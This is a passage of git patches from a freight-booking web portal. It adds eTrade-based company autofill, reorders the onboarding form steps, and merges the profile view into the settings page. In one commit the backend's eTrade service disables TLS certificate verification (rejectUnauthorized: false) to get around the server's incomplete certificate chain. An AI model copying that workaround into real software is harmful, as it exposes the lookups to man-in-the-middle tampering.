setValue("houseNo", data.houseNo); + setValue("etradePhone", data.regularPhone || data.mobilePhone); + setEtradeOwner({ + name: data.managerName, + phone: data.managerPhone || data.regularPhone || data.mobilePhone, + }); + }; + + /** Fill the General Manager from the eTrade business owner. */ + const useOwnerAsManager = () => { + if (!etradeOwner) return; + setValue("generalManagerName", etradeOwner.name); + const { number, countryCode } = splitPhone(etradeOwner.phone); + setValue("generalManagerPhone", number); + setValue("generalManagerPhoneCountryCode", countryCode); + }; + + /** Copy the General Manager into the Contact Person fields (toggleable). */ + const toggleGmAsContact = (checked: boolean) => { + setGmIsContact(checked); + if (!checked) return; + setValue("contactPersonName", watch("generalManagerName")); + setValue("contactPersonEmail", watch("generalManagerEmail")); + setValue("contactPersonPhone", watch("generalManagerPhone")); + setValue( + "contactPersonPhoneCountryCode", + watch("generalManagerPhoneCountryCode"), + ); + }; + + /** Copy the Contact Person into the PoA fields (toggleable, still editable). */ + const toggleContactAsPoa = (checked: boolean) => { + setContactIsPoa(checked); + if (!checked) return; + setValue("poaName", watch("contactPersonName")); + setValue("poaEmail", watch("contactPersonEmail")); + setValue("poaPhone", watch("contactPersonPhone")); + setValue("poaPhoneCountryCode", watch("contactPersonPhoneCountryCode")); + }; + const hasDocuments = Boolean(uploadSetting?.fields?.length); - const totalSteps = 5; + + // Single source of truth for step sequence — navigation, labels and the + // progress bar all derive from this so adding/removing a step is one edit. + const stepOrder: CompanyStep[] = [ + "company", + "personnel", + "contact", + "poa", + "documents", + "additional", + ]; + const totalSteps = stepOrder.length; + const currentIdx = stepOrder.indexOf(step); /** Validate + persist the current step, returning whether we may advance. */ const saveCurrentStep = async (): Promise => { @@ -351,55 +518,44 @@ export default function CompanyProfileForm({ handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } - if (step === "documents") { - setStep("additional"); - return; + // The documents step has nothing to persist; field steps validate + save + // before advancing. + if (step !== "documents") { + const ok = await saveCurrentStep(); + if (!ok) return; } - // company / personnel / poa: validate + save before advancing. - const ok = await saveCurrentStep(); - if (!ok) return; - setStep( - step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents", - ); + setStep(stepOrder[currentIdx + 1]); }; const prevStep = () => { setSaveError(null); - if (step === "company") onBack(); - else if (step === "personnel") setStep("company"); - else if (step === "poa") setStep("personnel"); - else if (step === "documents") setStep("poa"); - else setStep("documents"); + if (currentIdx === 0) onBack(); + else setStep(stepOrder[currentIdx - 1]); }; // Back is hidden on the first step during onboarding (can't return to role // selection); otherwise always available. const showBack = !(hideFirstStepBack && step === "company"); - const STEPS: { key: CompanyStep; icon: React.ReactNode }[] = [ - { key: "company", icon: }, - { key: "personnel", icon: }, - { key: "poa", icon: }, - { key: "documents", icon: }, - { key: "additional", icon: }, - ]; - - const STEP_LABELS: Record = { - company: `Step 1 of ${totalSteps} — Company Information`, - personnel: `Step 2 of ${totalSteps} — Personnel Details`, - poa: `Step 3 of ${totalSteps} — Power of Attorney (Optional)`, - documents: `Step 4 of ${totalSteps} — Upload Documents`, - additional: `Step 5 of ${totalSteps} — Business License`, + const STEP_ICONS: Record = { + company: , + personnel: , + contact: , + poa: , + documents: , + additional: , }; - const stepOrder: CompanyStep[] = [ - "company", - "personnel", - "poa", - "documents", - "additional", - ]; - const currentIdx = stepOrder.indexOf(step); + const STEP_TITLES: Record = { + company: "Company Information", + personnel: "General Manager", + contact: "Contact Person", + poa: "Power of Attorney (Optional)", + documents: "Upload Documents", + additional: "Business License", + }; + + const stepLabel = `Step ${currentIdx + 1} of ${totalSteps} — ${STEP_TITLES[step]}`; return ( <> @@ -421,7 +577,7 @@ export default function CompanyProfileForm({ className="relative max-w-lg mx-auto px-2" > - {STEPS.map(({ key, icon }, i) => { + {stepOrder.map((key, i) => { const done = i < currentIdx; const active = i === currentIdx; return done || active ? ( @@ -433,7 +589,7 @@ export default function CompanyProfileForm({ color="edr-green" className="relative z-10" > - {done ? : icon} + {done ? : STEP_ICONS[key]} ) : ( - {icon} + {STEP_ICONS[key]} ); })} - {STEP_LABELS[step]} + {stepLabel} @@ -520,38 +676,133 @@ export default function CompanyProfileForm({ error={errors.fanNumber?.message} {...register("fanNumber")} /> + + + + Fetch Company Information from eTrade + + + + {watch("licenceNumber") && ( + <> + + + Registration Details from eTrade + + + + + + + + + + + + + + + + Address Information + + + + + + + + + + + + + + + )} )} {step === "personnel" && ( <> - - Contact Person - - - - - - - - - - General Manager - + + + General Manager + + {etradeOwner && ( + + )} + )} + {step === "contact" && ( + <> + + Contact Person + + toggleGmAsContact(e.currentTarget.checked)} + /> + + + + + + + + + + )} + {step === "poa" && ( <> Power of Attorney details are optional. Fill them in if you have them, or skip to continue. + toggleContactAsPoa(e.currentTarget.checked)} + /> => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.FETCH_ETRADE_INFO, + payload, + ); + return unwrap(response.data); + }, }; diff --git a/apps/edr-freight-web/portal/src/types/profile.ts b/apps/edr-freight-web/portal/src/types/profile.ts index e2a551159..951a1f129 100644 --- a/apps/edr-freight-web/portal/src/types/profile.ts +++ b/apps/edr-freight-web/portal/src/types/profile.ts @@ -13,7 +13,21 @@ export interface ProfileResponse { tinNumber: string; vatNumber: string | null; fanNumber: string | null; + licenceNumber?: string | null; + statusDescription?: string | null; + dateRegistered?: string | null; + renewedFrom?: string | null; + renewalDate?: string | null; + renewedTo?: string | null; + region?: string | null; + zone?: string | null; + woreda?: string | null; + kebele?: string | null; + houseNo?: string | null; + etradePhone?: string | null; contactPersonName: string | null; + contactPersonPosition: string | null; + contactPersonEmail: string | null; contactPersonPhone: string | null; generalManagerName: string | null; generalManagerEmail: string | null; @@ -36,7 +50,21 @@ export interface UpdateProfilePayload { tin?: string; vatNumber?: string; fanNumber?: string; + licenceNumber?: string; + statusDescription?: string; + dateRegistered?: string; + renewedFrom?: string; + renewalDate?: string; + renewedTo?: string; + region?: string; + zone?: string; + woreda?: string; + kebele?: string; + houseNo?: string; + etradePhone?: string; contactPersonName?: string; + contactPersonPosition?: string; + contactPersonEmail?: string; contactPersonPhone?: string; generalManagerName?: string; generalManagerEmail?: string; diff --git a/packages/types/src/freight/etrade.ts b/packages/types/src/freight/etrade.ts new file mode 100644 index 000000000..9067569fb --- /dev/null +++ b/packages/types/src/freight/etrade.ts @@ -0,0 +1,79 @@ +export interface ETradeAddressInfo { + Region: string; + Zone: string; + Woreda: string; + Kebele: string; + HouseNo: string; + MobilePhone: string; + RegularPhone: string; +} + +export interface ETradeAssociateInfo { + Position: string | null; + ManagerName: string; + ManagerNameEng: string; + Photo: string | null; + MobilePhone: string | null; + RegularPhone: string | null; +} + +export interface ETradeBusinessInfo { + MainGuid: string; + OwnerTIN: string; + DateRegistered: string; + TradeName: string; + LicenceNumber: string; + Status: number; + StatusDescription: string; + Capital: number; + AssociateShortInfos: ETradeAssociateInfo[]; + AddressInfo: ETradeAddressInfo; + RenewedTo: string; + RenewedToDateString: string; + RenewalDate: string; + RenewedFrom: string; + CancellationDate: string | null; +} + +export interface ETradeCompanyInfo { + Tin: string; + LegalCondtion: string; + RegNo: string; + RegDate: string; + BusinessName: string; + BusinessNameAmh: string; + PaidUpCapital: number; + AssociateShortInfos: ETradeAssociateInfo[]; + Businesses: Array<{ + MainGuid: string; + OwnerTIN: string; + DateRegistered: string; + TradeNameAmh: string; + TradesName: string; + LicenceNumber: string; + RenewalDate: string; + RenewedFrom: string; + RenewedTo: string; + BusinessLicensingGroupMain: string | null; + SubGroups: string | null; + }>; +} + +export interface CompanyRegistrationData { + licenceNumber: string; + statusDescription: string; + dateRegistered: string; + renewedFrom: string; + renewalDate: string; + renewedTo: string; + region: string; + zone: string; + woreda: string; + kebele: string; + houseNo: string; + mobilePhone: string; + regularPhone: string; + managerName: string; + managerEmail?: string; + managerPhone: string; +} diff --git a/packages/types/src/freight/index.ts b/packages/types/src/freight/index.ts index 983dc69be..07f99f65b 100644 --- a/packages/types/src/freight/index.ts +++ b/packages/types/src/freight/index.ts @@ -3,6 +3,7 @@ import type { BaseEntity } from "../common"; export * from "./dropdown_settings"; export * from "./file_upload_settings"; export * from "./overview"; +export * from "./etrade"; export enum TradeDirection { IMPORT = "IMPORT", From 72b6c9875d1585dc00f1e9a4658936fbda7e758a Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 10:39:53 +0000 Subject: [PATCH 08/30] feat: integrate eTradeInfo component for auto-filling company information and enhance TIN input handling --- .../companies/services/etrade.service.ts | 11 +++++ .../src/components/onboarding/ETradeInfo.tsx | 39 ++++++++++------- .../src/pages/accounts/CompanyProfileForm.tsx | 42 +++++++++---------- 3 files changed, 55 insertions(+), 37 deletions(-) diff --git a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts index 95f927738..15054c701 100644 --- a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts +++ b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts @@ -1,5 +1,6 @@ import { Injectable, BadRequestException } from "@nestjs/common"; import { HttpService } from "@nestjs/axios"; +import { Agent } from "https"; import { firstValueFrom } from "rxjs"; import { ETradeCompanyInfo, @@ -12,6 +13,14 @@ export class ETradeService { private readonly baseUrl = "https://etrade.gov.et/api"; private readonly referer = "https://etrade.gov.et/business-license-checker"; + /** + * The eTrade server serves an incomplete TLS chain (it omits the intermediate + * CA cert), so Node rejects the handshake with UNABLE_TO_GET_ISSUER_CERT. + * Scope a relaxed agent to these outbound calls only — the rest of the app + * keeps full certificate verification. + */ + private readonly httpsAgent = new Agent({ rejectUnauthorized: false }); + constructor(private readonly httpService: HttpService) {} async getCompanyInfoByTin(tin: string): Promise { @@ -20,6 +29,7 @@ export class ETradeService { const response = await firstValueFrom( this.httpService.get(url, { headers: { Referer: this.referer }, + httpsAgent: this.httpsAgent, }), ); return response.data; @@ -44,6 +54,7 @@ export class ETradeService { Lang: "en", }, headers: { Referer: this.referer }, + httpsAgent: this.httpsAgent, }), ); return response.data; diff --git a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx index 15632fe1b..5fcfadaa1 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx @@ -3,24 +3,33 @@ import { Button, Group, Loader, - SimpleGrid, Stack, Text, TextInput, } from "@mantine/core"; -import { AlertCircle, CheckCircle2, RefreshCw } from "lucide-react"; +import type { UseFormRegisterReturn } from "react-hook-form"; +import { AlertCircle, CheckCircle2, Download } from "lucide-react"; import { useETradeData } from "@/hooks/useETradeData"; import type { CompanyRegistrationData } from "@edr/types"; interface ETradeInfoProps { + /** Current TIN value (drives button enablement). */ tin: string; + /** RHF registration for the TIN input — this is the form's primary TIN field. */ + register: UseFormRegisterReturn; + /** Validation error for the TIN field, if any. */ + error?: string; onDataLoaded: (data: CompanyRegistrationData) => void; } -export default function ETradeInfo({ tin, onDataLoaded }: ETradeInfoProps) { +export default function ETradeInfo({ + tin, + register, + error, + onDataLoaded, +}: ETradeInfoProps) { const mutation = useETradeData(); const isLoading = mutation.isPending; - const hasError = mutation.isError; const hasData = mutation.data; const handleFetch = async () => { @@ -32,40 +41,42 @@ export default function ETradeInfo({ tin, onDataLoaded }: ETradeInfoProps) { }; const errorMessage = - hasError && mutation.error + mutation.isError && mutation.error ? (mutation.error as any).message || "Failed to fetch company information. Please try again." : null; return ( - + - {hasError && errorMessage && ( + {errorMessage && ( } color="red" title="Failed to fetch data" > - {errorMessage} + {errorMessage} You can still fill in the details manually below. )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index ecc8d38ec..11f75b4b7 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -614,6 +614,18 @@ export default function CompanyProfileForm({ {step === "company" && ( <> + + Enter your TIN to auto-fill company information from eTrade + + + + + - + - - - - - Fetch Company Information from eTrade - - {watch("licenceNumber") && ( <> From cc62482d4eb07a3c40fcf19a2061e010cf2bb345 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 10:59:18 +0000 Subject: [PATCH 09/30] feat: remove ProfilePage and update routing to redirect to Settings; enhance SettingsPage with ProfileHeader and improved tab handling --- apps/edr-freight-web/portal/src/App.tsx | 11 +- .../portal/src/pages/ProfilePage.tsx | 410 ------------------ .../portal/src/pages/SettingsPage.tsx | 332 +++++++------- .../src/pages/accounts/CompanyProfileForm.tsx | 45 +- .../src/pages/settings/CompanyRolesCard.tsx | 2 +- 5 files changed, 219 insertions(+), 581 deletions(-) delete mode 100644 apps/edr-freight-web/portal/src/pages/ProfilePage.tsx diff --git a/apps/edr-freight-web/portal/src/App.tsx b/apps/edr-freight-web/portal/src/App.tsx index e436eaff6..89d094734 100644 --- a/apps/edr-freight-web/portal/src/App.tsx +++ b/apps/edr-freight-web/portal/src/App.tsx @@ -7,7 +7,6 @@ import { Receipt, Settings, Sparkles, - User, } from "lucide-react"; import { useDisclosure } from "@mantine/hooks"; import { useEffect, useRef } from "react"; @@ -24,7 +23,6 @@ import useAuth from "./hooks/useAuth"; import OnboardingWizardDialog from "./components/onboarding/OnboardingWizardDialog"; import EDRFreightLandingPage from "./pages/EDRFreightLandingPage"; import MyPortalPage from "./pages/MyPortalPage"; -import ProfilePage from "./pages/ProfilePage"; import MySignaturePage from "./pages/MySignaturePage"; import SettingsPage from "./pages/SettingsPage"; import LoginPage from "./pages/accounts/LoginPage"; @@ -211,12 +209,6 @@ const sidebarItems: SidebarItem[] = [ href: "/billing", icon: , }, - { - section: "Account", - label: "Profile", - href: "/profile", - icon: , - }, { section: "Account", label: "Settings", @@ -297,7 +289,8 @@ const App = () => { /> } /> } /> - } /> + {/* Profile was merged into Settings — keep old links working. */} + } /> } /> } /> diff --git a/apps/edr-freight-web/portal/src/pages/ProfilePage.tsx b/apps/edr-freight-web/portal/src/pages/ProfilePage.tsx deleted file mode 100644 index cf31d17a9..000000000 --- a/apps/edr-freight-web/portal/src/pages/ProfilePage.tsx +++ /dev/null @@ -1,410 +0,0 @@ -import { api } from "@/services/api"; -import { - Badge, - Box, - Button, - Card, - Center, - Container, - Divider, - Grid, - Group, - Loader, - SimpleGrid, - Stack, - Text, - ThemeIcon, - Title, -} from "@mantine/core"; -import { useQuery } from "@tanstack/react-query"; -import { - BadgeCheck, - Briefcase, - Building, - Building2, - FileCheck, - Globe, - Mail, - MapPin, - Phone, - Plus, - ShieldCheck, - User, - UserCheck, -} from "lucide-react"; -import { Link } from "react-router-dom"; -import { rolesForCompanyType } from "./settings/companyRoles"; - -function InfoItem({ - icon, - label, - value, -}: { - icon?: React.ReactNode; - label: string; - value?: string | null; -}) { - return ( - - {icon && ( - - {icon} - - )} - - - {label} - - - {value || "—"} - - - - ); -} - -function CardHeading({ - icon, - title, - description, -}: { - icon: React.ReactNode; - title: string; - description: string; -}) { - return ( - - - {icon} - - {title} - - - - {description} - - - ); -} - -function PersonnelGroup({ - color, - title, - children, -}: { - color: string; - title: string; - children: React.ReactNode; -}) { - return ( - - - - - {title} - - - - {children} - - - ); -} - -export default function ProfilePage() { - const { data: profile, isPending } = useQuery( - api.companies.getProfile.queryOptions(), - ); - - if (isPending) { - return ( -
- -
- ); - } - - if (!profile) { - return ( -
- No company profile found. -
- ); - } - - // Registered operational profiles keyed by type, plus the roles this company - // type may hold (importer/exporter for a customer). Mirrors CompanyRolesCard. - const refByType = new Map(profile.companyProfiles.map((p) => [p.type, p])); - const roleOptions = rolesForCompanyType(profile.companyType); - const activeOptions = roleOptions.filter((o) => refByType.has(o.type)); - - return ( - - {/* Header */} - - - - - - - - {profile.companyName} - - - Verified - - - {activeOptions.length > 0 ? ( - - {activeOptions.map((opt) => ( - - {opt.label} · {refByType.get(opt.type)!.reference} - - ))} - - ) : ( - - - - {profile.companyType} - - - )} - - - - - - - {/* Left Column */} - - - {/* Company Details */} - - - } - title="Company Details" - description="Business registration information" - /> - - } - label="Location" - value={profile.companyLocation} - /> - } - label="Address" - value={profile.companyAddress} - /> - } - label="TIN Number" - value={profile.tinNumber} - /> - } - label="FAN Number" - value={profile.fanNumber} - /> - } - label="Email" - value={profile.companyEmail} - /> - } - label="Phone" - value={profile.companyPhone} - /> - - - - {/* Key Personnel */} - - - } - title="Key Personnel" - description="Management and contact persons" - /> - - - - - - - - - - - - - - {/* Power of Attorney */} - {profile.poaName && ( - - - } - title="Power of Attorney" - description="Authorized representative details" - /> - - - - - - - - )} - - - - {/* Right Column */} - - - {/* Operating Roles */} - - - } - title="Operating Roles" - description="Your registered freight roles and reference numbers" - /> - {roleOptions.length === 0 ? ( - - Role management for this company type is coming soon. - - ) : ( - - {roleOptions.map((opt) => { - const active = refByType.get(opt.type); - return ( - - - - {opt.icon} - - - - {opt.label} - - - {active ? active.reference : "Not registered"} - - - - {active ? ( - - {active.status} - - ) : ( - - )} - - ); - })} - - )} - - - {/* Secure Account */} - - - - - - - Secure Account - - - Your information is protected by enterprise-grade security. - Contact support for verified information updates. - - - - - - - - - ); -} diff --git a/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx b/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx index 6f0b17022..8c3204123 100644 --- a/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx +++ b/apps/edr-freight-web/portal/src/pages/SettingsPage.tsx @@ -1,27 +1,34 @@ import { api } from "@/services/api"; import type { ProfileResponse } from "@/types/profile"; import { - Alert, + Badge, + Box, Card, Center, Container, Group, Loader, + Stack, Tabs, Text, + ThemeIcon, Title, } from "@mantine/core"; import { useQuery, useQueryClient } from "@tanstack/react-query"; import { AlertCircle, + BadgeCheck, Briefcase, Building2, FileCheck, + Globe, + ShieldCheck, User, UserCheck, } from "lucide-react"; -import { useCallback, useEffect, useState } from "react"; -import { useNavigate, useSearchParams } from "react-router-dom"; +import { useCallback, useEffect } from "react"; +import { useSearchParams } from "react-router-dom"; +import { rolesForCompanyType } from "./settings/companyRoles"; import TabCompanyProfile from "./settings/TabCompanyProfile"; import TabContactPerson from "./settings/TabContactPerson"; import TabDocuments from "./settings/TabDocuments"; @@ -30,35 +37,139 @@ import TabPowerOfAttorney from "./settings/TabPowerOfAttorney"; type SettingsTab = "company" | "contact" | "gm" | "poa" | "documents"; -function tabIncomplete(tabId: SettingsTab, profile?: ProfileResponse | null): boolean { - if (!profile) return false; +/** A section is "incomplete" when its required fields aren't filled in yet. */ +function tabIncomplete( + tabId: SettingsTab, + profile: ProfileResponse, +): boolean { switch (tabId) { case "company": - return !profile.companyEmail || !profile.companyPhone || !profile.companyAddress || !profile.fanNumber; + return ( + !profile.companyEmail || + !profile.companyPhone || + !profile.companyAddress || + !profile.fanNumber + ); case "contact": return !profile.contactPersonName || !profile.contactPersonPhone; case "gm": - return !profile.generalManagerName || !profile.generalManagerEmail || !profile.generalManagerPhone; + return ( + !profile.generalManagerName || + !profile.generalManagerEmail || + !profile.generalManagerPhone + ); case "poa": - return false; case "documents": return false; } } const TABS: { id: SettingsTab; label: string; icon: React.ReactNode }[] = [ - { id: "company", label: "Company Profile", icon: }, + { id: "company", label: "Company", icon: }, { id: "contact", label: "Contact Person", icon: }, { id: "gm", label: "General Manager", icon: }, { id: "poa", label: "Power of Attorney", icon: }, { id: "documents", label: "Documents", icon: }, ]; +/** + * Polished identity banner shown above the editor tabs — company name, its + * registered operating roles, location and verification status at a glance. + */ +function ProfileHeader({ profile }: { profile: ProfileResponse }) { + const refByType = new Map(profile.companyProfiles.map((p) => [p.type, p])); + const roleOptions = rolesForCompanyType(profile.companyType); + const activeRoles = roleOptions.filter((o) => refByType.has(o.type)); + + return ( + + + + + + + + + + + + + + {profile.companyName} + + } + > + Verified + + + + {activeRoles.length > 0 ? ( + + {activeRoles.map((opt) => ( + + {opt.label} · {refByType.get(opt.type)!.reference} + + ))} + + ) : ( + + {profile.companyType.replace(/_/g, " ")} + + )} + + + {profile.companyLocation && ( + + + {profile.companyLocation} + + )} + {profile.tinNumber && ( + + + + TIN {profile.tinNumber} + + + )} + + + + + + ); +} + export default function SettingsPage() { - const navigate = useNavigate(); const queryClient = useQueryClient(); const [searchParams, setSearchParams] = useSearchParams(); const tab = (searchParams.get("tab") as SettingsTab) || "company"; + const setTab = useCallback( (t: SettingsTab) => { setSearchParams( @@ -79,9 +190,10 @@ export default function SettingsPage() { refetchOnWindowFocus: false, }), ); - const profile = profileQuery.data; + // Keep the cached company info in sync whenever the profile changes, so the + // header (and the rest of the app) reflect edits immediately. useEffect(() => { if (profileQuery.dataUpdatedAt > 0) { queryClient.invalidateQueries({ @@ -90,34 +202,6 @@ export default function SettingsPage() { } }, [profileQuery.dataUpdatedAt, queryClient]); - const [isOnboarding, setIsOnboarding] = useState(null); - - useEffect(() => { - if (profileQuery.isFetched && isOnboarding === null) { - setIsOnboarding(!profileQuery.data); - } - }, [profileQuery.isFetched, profileQuery.data, isOnboarding]); - - const handleOnboardingSuccess = useCallback(() => { - setTab("contact"); - }, [setTab]); - - const handleContactContinue = useCallback(() => { - setTab("gm"); - }, [setTab]); - - const handleGMContinue = useCallback(() => { - setTab("poa"); - }, [setTab]); - - const handlePOAContinue = useCallback(() => { - setTab("documents"); - }, [setTab]); - - const handleDocumentsContinue = useCallback(() => { - navigate("/portal"); - }, [navigate]); - if (profileQuery.isPending) { return (
@@ -126,126 +210,82 @@ export default function SettingsPage() { ); } - const onboarding = isOnboarding === true; - - const renderProfileContent = (children: React.ReactNode) => { - if (onboarding && tab !== "company" && !profile) { - return ( -
- -
- ); - } - if (!profile) { - return ( - + if (!profile) { + return ( + +
- } - color="gray" - variant="light" - > - Please complete the company profile first. - + + + No company profile found. +
- ); - } - return children; - }; +
+ ); + } return ( - - + + + +
- - {onboarding ? "Complete Your Profile" : "Account Settings"} + <Title order={2} size="h3"> + Account Settings - {onboarding - ? "Set up your company profile, personnel, and documents to get started" - : "Manage your company profile, personnel, and documents"} + Manage your company profile, personnel, and documents.
-
- { - if (!value) return; - // if (onboarding) return; - setTab(value as SettingsTab); - }} - > - - {TABS.map((t) => ( - - ) : undefined - } - > - {t.label} - - ))} - + value && setTab(value as SettingsTab)} + variant="pills" + radius="md" + > + + {TABS.map((t) => ( + + ) : undefined + } + > + {t.label} + + ))} + - - {!profile ? ( - - ) : ( + - )} - - - - {renderProfileContent( - , - )} - - - - {renderProfileContent( - , - )} - - - - {renderProfileContent( - , - )} - - - - {renderProfileContent( - , - )} - - + + + + + + + + + + + + + + +
); } diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 11f75b4b7..9c2c4001d 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -57,7 +57,9 @@ const onboardingSchema = z.object({ companyPhone: z.string().min(1, "Company phone is required"), companyPhoneCountryCode: z.string().min(1, "Country code is required"), companyLocation: z.string().min(1, "Location is required"), - companyAddress: z.string().min(1, "Address is required"), + // Derived from the eTrade address parts (kebele/woreda/zone/region); no + // standalone input — the granular fields live in the registration section. + companyAddress: z.string().optional(), tinNumber: z.string().length(10, "TIN must be exactly 10 digits"), vatNumber: z .string() @@ -429,6 +431,27 @@ export default function CompanyProfileForm({ setValue("kebele", data.kebele); setValue("houseNo", data.houseNo); setValue("etradePhone", data.regularPhone || data.mobilePhone); + + // Compose a readable company address from the granular eTrade parts. + const addressParts = [ + data.houseNo, + data.kebele, + data.woreda, + data.zone, + data.region, + ].filter((part) => part && part.trim()); + if (addressParts.length) { + setValue("companyAddress", addressParts.join(", ")); + } + + // Pre-fill the company contact phone from eTrade's mobile number. + const mobile = data.mobilePhone || data.regularPhone; + if (mobile) { + const { number, countryCode } = splitPhone(mobile); + setValue("companyPhone", number); + setValue("companyPhoneCountryCode", countryCode); + } + setEtradeOwner({ name: data.managerName, phone: data.managerPhone || data.regularPhone || data.mobilePhone, @@ -651,20 +674,12 @@ export default function CompanyProfileForm({ label="Company Phone" /> - - - - + - Business Profile + Operating Roles {profile.companyType === "customer" From b6d5047d27a453f74ce57d758addf413df7b20e0 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 19:31:51 +0000 Subject: [PATCH 10/30] feat: Implement general contract booking orders functionality - Add DTOs for creating booking orders and viewing contract quantities. - Create entities for booking orders and booking order lines. - Implement service for managing general contract operations, including activation after payment and retrieving quantity lines. - Develop UI components for contract detail and list pages, including order placement dialog. - Integrate API service for booking orders, enabling listing and creating orders against contracts. - Enhance contract status display and quantity pool visualization in the UI. --- apps/edr-freight-api/src/app.module.ts | 2 + ...2000000000-AddUnitOfMeasureToCargoTypes.ts | 19 ++ ...0000001-AddBookingTypeAndContractFields.ts | 39 +++ .../1792000000002-CreateBookingOrders.ts | 74 +++++ ...1792000000003-SeedGeneralContractPeriod.ts | 46 +++ .../booking-orders.controller.ts | 53 ++++ .../booking-orders/booking-orders.module.ts | 30 ++ .../booking-orders.repository.ts | 41 +++ .../booking-orders/booking-orders.service.ts | 293 ++++++++++++++++++ .../booking-orders/dto/contract-view.dto.ts | 23 ++ .../dto/create-booking-order.dto.ts | 45 +++ .../entities/booking-order-line.entity.ts | 30 ++ .../entities/booking-order.entity.ts | 62 ++++ .../general-contract.service.ts | 161 ++++++++++ .../booking-reference-data.service.ts | 1 + .../modules/bookings/bookings.repository.ts | 6 + .../src/modules/bookings/bookings.service.ts | 13 +- .../dto/booking-reference-data.dto.ts | 4 + .../bookings/dto/create-booking.dto.ts | 23 +- .../bookings/dto/filter-booking.dto.ts | 6 + .../bookings/entities/booking.entity.ts | 29 +- .../src/modules/payment/payment.module.ts | 2 + .../src/modules/payment/payment.service.ts | 51 ++- .../rule-engine/dto/create-cargo-type.dto.ts | 11 +- .../rule-engine/entities/cargo-type.entity.ts | 9 + .../services/cargo-types.service.ts | 1 + .../compare-scheduling-priority.util.ts | 8 +- .../train-scheduling/fleet-plan.util.ts | 4 +- .../train-scheduling.service.ts | 2 +- apps/edr-freight-web/portal/src/App.tsx | 10 + .../src/pages/bookings/NewBookingPage.tsx | 51 ++- .../new-booking-form/StepIndicator.tsx | 14 +- .../pages/bookings/new-booking-form/schema.ts | 20 +- .../new-booking-form/step1-contract-type.tsx | 44 ++- .../new-booking-form/step5-cargo-details.tsx | 15 +- .../pages/contracts/ContractDetailPage.tsx | 291 +++++++++++++++++ .../src/pages/contracts/ContractsList.tsx | 247 +++++++++++++++ .../src/pages/contracts/PlaceOrderDialog.tsx | 254 +++++++++++++++ .../src/pages/contracts/contract-ui.tsx | 91 ++++++ .../portal/src/services/api.ts | 26 ++ .../src/services/booking-orders.service.ts | 34 ++ .../portal/src/services/bookings.service.ts | 2 + packages/types/src/freight/index.ts | 106 ++++++- 43 files changed, 2256 insertions(+), 37 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/1792000000000-AddUnitOfMeasureToCargoTypes.ts create mode 100644 apps/edr-freight-api/src/migrations/1792000000001-AddBookingTypeAndContractFields.ts create mode 100644 apps/edr-freight-api/src/migrations/1792000000002-CreateBookingOrders.ts create mode 100644 apps/edr-freight-api/src/migrations/1792000000003-SeedGeneralContractPeriod.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.controller.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.module.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.repository.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/booking-orders.service.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/dto/contract-view.dto.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/dto/create-booking-order.dto.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/entities/booking-order-line.entity.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/entities/booking-order.entity.ts create mode 100644 apps/edr-freight-api/src/modules/booking-orders/general-contract.service.ts create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/ContractDetailPage.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/ContractsList.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/PlaceOrderDialog.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/contracts/contract-ui.tsx create mode 100644 apps/edr-freight-web/portal/src/services/booking-orders.service.ts diff --git a/apps/edr-freight-api/src/app.module.ts b/apps/edr-freight-api/src/app.module.ts index 7857d7c7e..eca814b6d 100644 --- a/apps/edr-freight-api/src/app.module.ts +++ b/apps/edr-freight-api/src/app.module.ts @@ -13,6 +13,7 @@ import telebirrConfig from "./config/telebirr.config"; import rabbitmqConfig from "./config/rabbitmq.config"; import { BookingsModule } from "./modules/bookings/bookings.module"; +import { BookingOrdersModule } from "./modules/booking-orders/booking-orders.module"; import { SignaturesModule } from "./modules/signatures/signatures.module"; import { FilesModule } from "./modules/files/files.module"; import { ConsignmentsModule } from "./modules/consignments/consignments.module"; @@ -87,6 +88,7 @@ import { VehiclesModule } from './modules/vehicles/vehicles.module'; permissions: EDR_FREIGHT_PERMISSIONS, }), BookingsModule, + BookingOrdersModule, SignaturesModule, FilesModule, ConsignmentsModule, diff --git a/apps/edr-freight-api/src/migrations/1792000000000-AddUnitOfMeasureToCargoTypes.ts b/apps/edr-freight-api/src/migrations/1792000000000-AddUnitOfMeasureToCargoTypes.ts new file mode 100644 index 